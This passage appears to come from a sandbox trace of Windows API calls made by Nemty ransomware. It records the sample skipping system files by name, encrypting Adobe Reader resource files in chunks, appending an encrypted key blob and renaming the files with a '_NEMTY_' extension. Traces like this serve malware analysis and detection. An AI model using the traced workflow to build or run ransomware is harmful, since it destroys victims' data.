hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.913] CloseHandle (hObject=0xffffffff) returned 0 [0208.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.913] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v._nemty_kgobjgd_")) returned 0 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.913] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3047, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-H", cAlternateFileName="KSC-EU~1")) returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2=".") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="..") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="...") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="windows") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="rsa") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="NTDETECT.COM") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="ntldr") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="MSDOS.SYS") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="IO.SYS") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="boot.ini") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="boot.ini") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="ntuser.dat") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="desktop.ini") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="CONFIG.SYS") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="RECYCLER") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="bootmgr") returned 1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="programdata") returned -1 [0208.914] lstrcmpiW (lpString1="KSC-EUC-H", lpString2="appdata") returned 1 [0208.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0208.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0208.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0208.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0208.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0208.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.915] Sleep (dwMilliseconds=0x5) [0208.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x302b32b0, dwHighDateTime=0x1d561e8)) [0208.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x302b32b0, dwHighDateTime=0x1d561e8)) [0208.929] GetLastError () returned 0x5 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.929] GetLastError () returned 0x5 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.929] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0208.929] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="ZgATfG4F4kKYTQbsAsZmZ7x1FNochBORDMr77dUHShGpiGP8J8KcHzZscynrTh86\r\nIaA07jQkwy92jU+sUclNL1cNo76GEcy5hpGqO39001gqztxvto0rD3gMZOsr5iNl\r\n8gybILAH5x8UYM4dmg+ExKTy/lTiYxDAw95Z0XaKJfLRYl0r4dEpsl3NQHsNT5hu\r\njkFuimqJyxhDR/30eLiyQqQVGITvfY8wORVjZugfZHWAszY9MIc4erM4Ybb4zWEE\r\nPUVrOZnoKMHus5sJDQ12Nd6eY23dIqrVWyIq6QW19PFOc7mO50rclkMjetkTedWG\r\n4eOMyfJ7XEKMI6r7lIS1bg==\r\n", pcchString=0x653e91c) returned 1 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0208.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0208.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.930] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.038] CloseHandle (hObject=0xffffffff) returned 0 [0209.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.039] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h._nemty_kgobjgd_")) returned 0 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.039] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-V", cAlternateFileName="KSC-EU~2")) returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", 